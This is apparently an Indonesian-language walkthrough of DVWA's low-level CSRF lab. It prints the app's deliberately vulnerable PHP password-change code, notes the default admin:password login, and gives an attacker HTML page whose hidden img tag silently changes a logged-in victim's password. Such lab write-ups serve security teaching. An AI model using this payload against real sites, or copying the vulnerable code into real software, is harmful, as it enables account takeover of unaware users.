Low

CSRF level Low on DVWA

Di bawah ini adalah source-code dari CSRF level low di DVWA.

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

Mencari Informasi

Secara default, credetial yang telah diatur untuk DVWA adalah admin:password.

Pertama-tama kita lakukan recon terlebih dahulu pada form change password tersebut dengan mencoba melakukan perubahan password dan melihat HTTP request-nya.

Terlihat bahwa request ini menggunakan method GET dan kita bisa tahu parameter yang dikirim ketika melakukan request.

Pada level ini tidak ada validasi apa pun selain kecocokan dari kedua form tersebut, sehingga kita bisa dengan mudah melakukan penyerangan.

Melakukan Serangan

Jadi begini skenario penyerangannya, saya (seorang peretas yang berniat jahat) membuat website untuk diakses oleh victim. Tampilan halaman webnya adalah seperti berikut:

Memang terlihat tidak berbahaya. Sang victim hanya melihat teks saja. Tapi mari kita lihat apa yang ada dibaliknya.😉

index.html
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>FBoy Site</title>
</head>
<body>
    <h1>Hey! Tidak ada yang aneh di sini</h1>
    <img style="display: none;" src="http://172.17.0.2/vulnerabilities/csrf/?password_new=pwned&password_conf=pwned&Change=Change">
</body>
</html>

Perhatikan tag img pada baris ke-11. Alih-alih src yang seharusnya merujuk ke aset gambar (contoh: png atau jpeg), saya membuatnya merujuk (pointing) ke endpoint form perubahan password yang kita tuju dan melakukan perubahan password menjadi "pwned".

Jadi ketika victim mengunjungi website tersebut, ia tidak sadar bahwa sesuatu telah terjadi. Jika kita lihat network request-nya:

Tag img tersebut membuat browser mengirim request GET untuk mengubah password melalui endpoint yang sebelumnya kita dapatkan. Dan karena request ini berasal dari browser victim, dan victim sudah melakukan autentikasi (login), maka PHPSESSID akan terkirim di HTTP cookie-nya.

Sekarang kita bisa masuk dengan kata sandi baru "pwned".

Happy Hacking! 🍻

Last updated